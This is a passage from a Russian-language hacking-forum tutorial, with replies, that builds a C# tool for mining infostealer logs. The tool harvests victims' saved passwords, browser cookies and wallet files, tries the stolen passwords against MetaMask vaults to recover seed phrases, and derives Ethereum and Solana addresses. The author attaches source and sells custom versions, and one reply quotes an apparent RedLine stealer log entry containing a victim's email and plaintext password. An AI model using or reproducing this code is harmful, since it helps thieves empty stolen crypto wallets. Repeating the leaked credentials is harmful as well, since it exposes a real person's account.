        DecryptBase decrypter = _options.DecryptMode switch
        {
            DecryptMode.CPU => new DecryptCPU(),
            DecryptMode.GPU => new DecryptGPU()
        };
        return await decrypter.Decrypt(vault, passwords);
    }

    /// <summary>
    /// Экстракция vault из файла c кошельком
    /// </summary>
    /// <param name="walletFile"></param>
    /// <returns></returns>
    private async Task<Vault?> ExtractData(string walletFile)
    {
        var textInFile = await File.ReadAllTextAsync(walletFile);
        if (!textInFile.Contains("\"vault\""))
        {
            return null;
        }
        
        ExtractorBase extractor = _options.ParseMode switch
        {
            ParseMode.REGEX => new RegexExtractor(),
            ParseMode.PARSE => new ParseExtractor(),
            ParseMode.COMBO => new ComboExtractor()
        };
        return await extractor.ExtractData(textInFile);
    }
}

С декриптором закончили. А теперь самое главное. Как получить vault из log файла быстро, без СМС и регистарции
в ранее созданной папке Utils (CryptoFinder5 -> CryptoFinder5.Extentions -> Utils) создаем файл JsonUtils
Как работает этот метод? Он принимает строку, ищет начало json (а json начинается с { ) и ведет подсчет открытых и закрытых ковычек. Если оно равно, значит JSON будет 100% валидный
В старой реализации я переводил в строку каждую итерацию, но это крайне затратно в виду иммутабельности строк в C#
C#:
public static class JsonUtils
{
    /// <summary>
    /// Преобразовывает невалидную JSON строку в валидную путем
    /// </summary>
    /// <param name="invalidJson">Невалидный JSON</param>
    /// <param name="finishLenth">Максимальная длинна</param>
    /// <returns></returns>
    public static string RepairJson(string invalidJson, uint finishLenth = UInt32.MaxValue)
    {
        int openedForging = 0;
        int closedForging = 0;
        
        // Первое вхождение в json
        bool findedStart = false;

        var stringBuilder = new StringBuilder();
        for (int i = 0; i < finishLenth; i++)
        {
            // выполняем до первого вхождения
            if (!findedStart && invalidJson[i] != '{')
            {
                continue;
            }
            
            switch (invalidJson[i])
            {
                case '{':
                    // Первое вхождение получили, выключаем проверку на вхождени
                    if (!findedStart) findedStart = true;
                    openedForging++;
                    stringBuilder.Append(invalidJson[i]);
                    break;
                
                case '}':
                    closedForging++;
                    stringBuilder.Append(invalidJson[i]);
                    break;
                // пропускает символ, он явно не валидный
                case '\\':
                    break;
                default:
                    stringBuilder.Append(invalidJson[i]);
                    break;
            }

            // Проходим цикл до тех пор, пока не получим
            // одинаковое кол-во открывающих и закрывающих
            // одинаковое кол-во гарантирует валидность JSON
            if (openedForging == closedForging)
            {
                break;
            }
        }
        
        return stringBuilder.ToString();
    }
}

-----------------------------------------------------
Генератор адресов
-----------------------------------------------------

Я сделал 2 самых популярных ,которые у меня просили: Ethereum и Solana , для себя сделаю еще несколько разных, к примеру у меня есть генератор на Doge Coin
В Function создаем CryptoFinder5.AddressGenerator
Папка Models -> AddressModel.cs

Необходим только для того, чтобы разделять адреса. В идеале разделять через Enum, но и так пока что сойдет
C#:
public class AddressModel
{
    public string Symbol { get; set; }
    
    public string Hash { get; set; }
}

Простой статический класс, который будет дальше по цепочке передавать мнемонику и глубину , концентрировать внутри себя адреса и возвращать
C#:
public static class AddressGenerator
{
    public static List<AddressModel> Generate(string? mnemonic, int depth = 10)
    {
        if (string.IsNullOrWhiteSpace(mnemonic))
        {
            return new List<AddressModel>();
        }

        var ethereum = Ethereum.GetAddresses(mnemonic, depth);
        var solana = Solana.GetAddresses(mnemonic, depth);

        var unionsAddressModels = ethereum
            .Union(solana)
            .ToList();
        
        return unionsAddressModels;
    }
}
Реализация получения адресов для Ethereum , исползовал библиотеку Nethereum.HdWallet
C#:
public static class Ethereum
{
    public static List<AddressModel> GetAddresses(string mnemonic, int depth = 10)
        => new Wallet(mnemonic, "").GetAddresses(depth)
            .Select(x => new AddressModel()
            {
                Hash = x,
                Symbol = "ETH"
            })
            .ToList();
}
C#:
public static class Solana
{
    public static List<AddressModel> GetAddresses(string mnemonic, int depth = 10)
    {
        var wallet = new Wallet(mnemonic);
        var solanaList = new List<AddressModel>();
        for (int i = 1; i < depth + 1; i++)
        {
            solanaList.Add(new AddressModel()
            {
                Hash = wallet.GetAccount(i).PublicKey,
                Symbol = "SOL"
            });
        }

        return solanaList;
    }
}

Вот и все. Выходим на финишную прямую. Как оказалось нет ничего сложного. Просто поэтапно делаем каждый независимый модуль, а завтра объединим их все
Сейчас у нас есть много независимых библиотек и остается только объединить их в одну, максимально делегируя логику.
В Function создаем проект LogController это будет концентратор всех наших методов и реализаций. Все модули подключаем сюда и получаем на выходе вот такую штуку


Как видим мы не лазим по созданным библиотекам, а используем только 1 метод, который прописан в абстрактном классе, делегируя логику. А так же мы можем спокойно пользоваться опциями
C#:
public class LogController
{
    private Parameters _parameters;

    public LogController(Parameters parameters)
    {
        _parameters = parameters;
        Prepare();
    }
    
    public void RenewParameter(Parameters parameters)
    {
        _parameters = parameters;
        Prepare();
    }

    /// <summary>
    /// Проверка на валидность параметров
    /// </summary>
    /// <exception cref="DirectoryNotFoundException"></exception>
    private void Prepare()
    {
        if (!Directory.Exists(_parameters.Directory)) throw new DirectoryNotFoundException("Папка с логом не найдена");
    }
    
    /// <summary>
    /// Получить пароли
    /// </summary>
    /// <param name="passwordScraperOption">Настройка парсера</param>
    /// <returns></returns>
    /// <exception cref="Exception"></exception>
    public async Task<List<string>> GetPasswordsListFromLog()
    {
        PasswordScraperBase passwordScraperBase = _parameters.PasswordScraperOption switch
        {
            PasswordScraperOption.LOW => new PasswordScraperLowPower(),
            PasswordScraperOption.MEDIUM => new PasswordScaperMediumPower(),
            PasswordScraperOption.HIGH => new PasswordScraperHighPower(),

            _ => throw new Exception("Не указан тип парсинга")
        };
        
        return await passwordScraperBase.GetPasswordsAsync(_parameters.Directory);
    }

    /// <summary>
    /// Получить куки из лога
    /// </summary>
    /// <param name="directory">путь до лога</param>
    /// <param name="targetBrowser"></param>
    /// <returns></returns>
    public async Task<List<Cookie>> GetCookiesFromLog(string targetBrowser = null)
    {
        var cookieScraperBase = new CookieScraperClassicMode();
        return await cookieScraperBase.GetCookieList(_parameters.Directory, targetBrowser);
    }

    /// <summary>
    /// Получить кошельки
    /// </summary>
    /// <returns></returns>
    public async Task<List<Wallet>?> GetWalletsFromLog()
    {
        var walletScraper = new WalletScraperClassic();
        var wallets = await walletScraper.GetWalletsList(_parameters.Directory);

        return wallets;
    }

    /// <summary>
    /// Попробововать расшифровать кошелек
    /// </summary>
    /// <param name="wallet"></param>
    /// <param name="passwords"></param>
    /// <returns></returns>
    public async Task<List<Decrypted>> TryDecryptWallet(Wallet wallet, IEnumerable<string> passwords)
    {
        BaseDecryptor.BaseDecryptor? walletDecrypterBase = wallet.WalletType switch
        {
            WalletType.Metamask => new Metamask.Metamask(_parameters.MetamaskOptions),
            
            _ => null
        };
        if (walletDecrypterBase == null)
        {
            return null;
        }
    
        return await walletDecrypterBase.DecryptWallet(wallet.WalletDirectory, passwords);
    }

    /// <summary>
    /// Параметры запуска
    /// </summary>
    public class Parameters
    {
        /// <summary>
        /// Путь до папки с логом
        /// </summary>
        public string Directory { get; set; }
        
        /// <summary>
        /// Тип получения паролей
        /// LOW - только пароли из Password.txt строки Password:
        /// MEDIUM - пароли из Password.txt все строки
        /// HIGH - пароль из Password и Autofill все строки
        /// </summary>
        public PasswordScraperOption PasswordScraperOption { get; set; }

        /// <summary>
        /// Настройки декриптора метамаск
        /// </summary>
        public  MetamaskOptions MetamaskOptions { get; set; } = new();
    }
}
Теперь финальный шрих. Создаем в Presetnation консольное(или любое другое приложение) и вместо того, чтобы использовать парсеры и прочее используем только методы 1 единственно класса и немногочисленные настройки

В результате мы не даем что то менять из вне. Логика закреплена и продумана, остается только выбрать настройки и запустить
C#:
var mainFolder = @"D:\Logs"; // <- да, это временное решение для теста, это меняется на чтение пути из консоли
var dirs = Directory.GetDirectories(mainFolder);

foreach (var dir in dirs)
{
    
    var logController = new LogController(
        new LogController.Parameters()
        {
            Directory = dir,
            PasswordScraperOption = PasswordScraperOption.HIGH,
            MetamaskOptions = new MetamaskOptions()
        });

    var wallets = await logController.GetWalletsFromLog();
    if (wallets.IsNotEmpty())
    {
        foreach (var wallet in wallets)
        {
            var passwords = await logController.GetPasswordsListFromLog();
            var decryptedWallets = await logController.TryDecryptWallet(wallet, passwords);
            if (decryptedWallets != null)
            {
                foreach (var decrypted in decryptedWallets)
                {
                    Console.WriteLine("File: " + decrypted?.File);
                    Console.WriteLine("Mnemonic: " + decrypted?.Mnemonic);
                    Console.WriteLine("Hashcat: " + decrypted?.Hashcat);
                    Console.WriteLine("Password: " + decrypted?.Password);
                    Console.WriteLine(new string('-', Console.WindowWidth));
                    Console.WriteLine();
                }
            }
              
        }
    }
}

Надеюсь данная статья будет полезна или поможет натолкнуть на мысль:)
Исходники в файле.

Я специально не стал выкладывать чек на баланс. Почему? Потому что много неопытных маслят захотят навариться на коде и запросто свистнут исходники на продажу. Я не жадный, но это не приятно.
Так же могу доработать софт под ваши нужны, за этим вопросом в ТГ: t.me/Skumbriaa
 

Вложения

  • CryptoFinder5.zip
    656.5 КБ · Просмотры: 64
Последнее редактирование модератором:
1) c ноги - почему так?
. .NET Core 7
если NET 8, то чем это грозит в плане совместимости? в питоне(VS) задалбывает создание новых окружений ибо большинство опенсорсных модулей под предыдущие версии П.

2) file: Password.txt from logs

***********************************************
* *
* ____ _____ ____ _ ___ _ _ _____ *
* | _ \| ____| _ \| | |_ _| \ | | ____| *
* | |_) | _| | | | | | | || \| | _| *
* | _ <| |___| |_| | |___ | || |\ | |___ *
* |_| \_|_____|____/|_____|___|_| \_|_____| *
* *
* Telegram: https://t.me/redline_market_bot *
***********************************************

URL: https://contributor-accounts.shutterstock.com/login
Username: charlesoliveira10@yahoo.com
Password: Deus321413
Application: Google_[Chrome]_Default
Собираем пароли только из файла Passwords.txt поля "Password:" . Преимущества в том, что это самый низкозатратный метод. Он собирает только самое нужное, но имеет недостаток, если лог изменится и поле будет называться не Password: , а PWD: , работать оно уже не будет

если мы говорим о логах со стилеров, то
а) их не так много и методы выделения паролей, как правило. фиксированы (см выше) Эт можно учесть в выборке значения паролей.
б) можно запросить интерактивно у пользователя обозначить указатель поля\идентификатор паролей. Так как логов не по 5 штук 10 типов.
А тысячи и однотипных. Смысл есть.
 
Последнее редактирование:
c ноги - почему так?

если NET 8, то чем это грозит в плане совместимости?

в питоне(VS задалбывает создание новых окружений ибо большинство опенсорсных модулей под предыдущие версии П.
По сути можно с7 на 8 перейти, но есть вариант, что будет конфликт совместимостей библиотек(хотя и в теории такого быть не должно)
Да и к тому же на ПК стоит 5 и 7 только. А если нет разницы, то зачем скачивать 8 :)
 
По сути можно с7 на 8 перейти, но есть вариант, что будет конфликт совместимостей библиотек(хотя и в теории такого быть не должно)
Да и к тому же на ПК стоит 5 и 7 только. А если нет разницы, то зачем скачивать 8 :)
автоматом тянет Visual Studio 2022

И принципиальный момент (из серии когнитивного диссонанса)
Читаем в заголовке

Чекер крипто кошельков на C# для самых маленьких (и тупых)​

Читаем в тексте

Сегодня в нашей программе чекер крипты в логах

Вообще говоря это разные вещи. К вопросу о тупых читателях ;)


Все, что вам нужно знать о содержании данной статьи:

Пафосно, но сыро.
Из папки Wallet мы берем wallet, из папки Password мы берем password ну или все подряд. глядишь и повезет.
Увы.
 
Последнее редактирование:
автоматом тянет Visual Studio 2022
Я сижу на райдере, мне студия не интересна.
а) их не так много и методы выделения паролей, как правило. фиксированы (см выше) Эт можно учесть в выборке значения паролей.
Не помню какой стиллер, но у него пароли как раз таки шли PWD: ...

можно запросить интерактивно у пользователя обозначить указатель поля\идентификатор паролей. Так как логов не по 5 штук 10 типов
А чего мелочиться, можно обозначить кошелек и какой пароль от него. Суть же не в этом, а в том, чтобы собрать инструмент с грамотной архитектурой
Все, что вам нужно знать о содержании данной статьи:

Пафосно, но сыро.
Из папки Wallet мы берем wallet, из папки Password мы берем password ну или все подряд. глядишь и повезет.
Увы.
Статья писалась для тех, кто хочет понять как реализовать те или иные методы (ну или доп способы)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх